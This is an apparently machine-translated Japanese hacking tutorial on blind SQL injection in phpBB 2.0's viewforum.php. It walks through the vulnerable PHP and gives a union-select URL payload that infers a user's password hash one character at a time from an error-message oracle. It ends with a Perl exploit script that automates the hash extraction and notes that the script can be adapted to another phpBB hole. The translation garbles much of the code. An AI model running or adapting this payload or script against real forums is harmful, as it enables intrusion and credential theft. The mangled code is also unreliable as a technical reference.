php インジェクションの例 インターネット上で php インジェクションに関する完全な記事とアプリケーション コードを見つけるのは難しいため、他の人にインスピレーションを与えることを願って、私は数週間 mysql と php を勉強しました。誰もがすでに ASP のインジェクションに精通していますが、PHP のインジェクションは ASP のインジェクションよりも難しく、PHP の Magic_gpc オプションは本当に頭の痛い問題です。インジェクションでは引用符を使用しないでください。また、PHP はほとんどの場合結合されます。 mysql と mysql の機能 他の人の観点から見ると、SQL インジェクション攻撃をある程度防ぐことができます。ここでは phpbb2.0 を例に挙げます。
viewforum には変数があります。フィルタリングされていないphp:
if ( isset($HTTP_GET_VARS
$forum_id = ( isset($HTTP_GET_VARS
($ http_post_vars< post_forum_url]; else
{
$forum_id = ' ;
}
これはフォーラムであり、次のものがクエリに直接入力されます:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " 。 FORUMS_TABLE . "
WHERE forum_id = $forum_id";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'フォーラム情報を取得できませんでした', ', __LINE__, __FILE__, $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')
}
asp の場合、forum_id で指定されたフォーラムが存在しない場合は、それを挿入する人が多いと思います。 , $result は空になるため、フォーラム情報を取得できませんでしたという情報が返されるため、次のコードは実行できません
//
// クエリが行を返さない場合、これは有効なフォーラムではありません
。 // ユーザー
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')
}
//
// 開始セッション管理
//
$userdata = session_pagestart($user_ip, $forum_id) /******************************** ********** **
キーはアスタリスクの行です。これは session_pagestart($user_ip, $thispage_id) というコードです。
長くなりますので、全文は掲載しません。興味があれば、ご自身でご覧ください。重要なのは、この関数が session_begin() を呼び出すことです。関数呼び出しは次のとおりです。 user_ip,
$thispage_id, TRUE))、これもこのファイルで定義されています。次のコードがあります
$sql = "UPDATE " . SESSIONS_TABLE "
SET session_user_id = $user_id, session_start = $current_time, session_time = $ current_time, session_page =
$page_id, session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query( $sql)) ││ !$db->sql_affectedrows() )
{
$ session_id = md5(uniqid($user_ip));
$sql = "SESSIONS_TABLE " . session_start, session_time, session_ip, session_page,
session_logged_in)
VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, ' 新しいセッションの作成中にエラーが発生しました: session_begin', ', __LINE__, __FILE__,
$sql);
ここに session_page がありますこれは mysql で整数として定義されており、その ??$page_id は $forum_id であり、挿入がプラスチック形状でない場合はエラーが報告され、プロンプト Error
creating new session: session_begin が表示されます。 $forum_id の値を参照することが非常に重要なので、次のように指定しました: -1%20union%20select% 201,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where% 20user_id=2%20and%20ord(substring(user_password,1,1))=57、引用符は使用できません。存在しない forum_id が指定されていますが、返されるクエリ結果は必ずしも空ではありません。これは、user_id が user 2 の最初のパスワードの ASCII コード値 57 であると推測するためです。その場合、最初のコードの $result が返されます。記事は空ではないため、問題のある関数 session_pagestart が実行され、挿入された数値は整数ではありません。当然、何か問題が発生するため、「新しいセッションの作成中にエラー : session_begin」が表示されます。これは、最初の数値が正しく推測されたことを意味します。他のポジションも同様です
。このようなエラーメッセージがないと、インジェクションが成功したとしても、成功したかどうかの判断が難しいと思います。 テストコードの解析もここで終了です。このコードは少し変更するだけで、他の同様の md5 パスワードの推測にも適用できます。中国語やその他の言語の場合は、返される条件を変更するだけです。
HTTP::Request::Common を使用します;
HTTP::Response を使用します
$ua = 新しい LWP::UserAgent; *************n";
print " phpbb viewforum.php expn";
print " code by pineyesn";
print " www.icehack.comn";
print " *** ************** *****n";
print "脆弱なファイルの URL:n を入力してください";
print "例: http://192.168.1.4/phpBB2/viewforum .phpn";
$adr=
chomp($adr);
print "解読したいuser_idを入力してください";
$u=
chomp($u);
print "作業を開始します。お待ちください!n";
@pink=(48..57)
for($j=1;$jfor ($i=0;$ i$url=$adr."?forum=-1%20union%20select%201,1,1,1,1 ,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%
20user_id=$u%20and% 20ord(substring(user_password,$j,1))=$ ピンク[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua ->request($request);
if ($response->is_success) {
if ($response->content =~ /新しいセッションの作成エラー/) {
$pwd.=chr($pink[ $i]);
print "$pwdn";
}
}
}
}
if ($pwd ne ""){
print "成功しました、パスワードは $pwd です、頑張ってください";}
else{
print "bad lucky,work failed!n";}
phpbb2.0.6 の最近の search.php の問題に関しては、エクスプロイト プログラムは上記のコードを少し変更するだけで済みます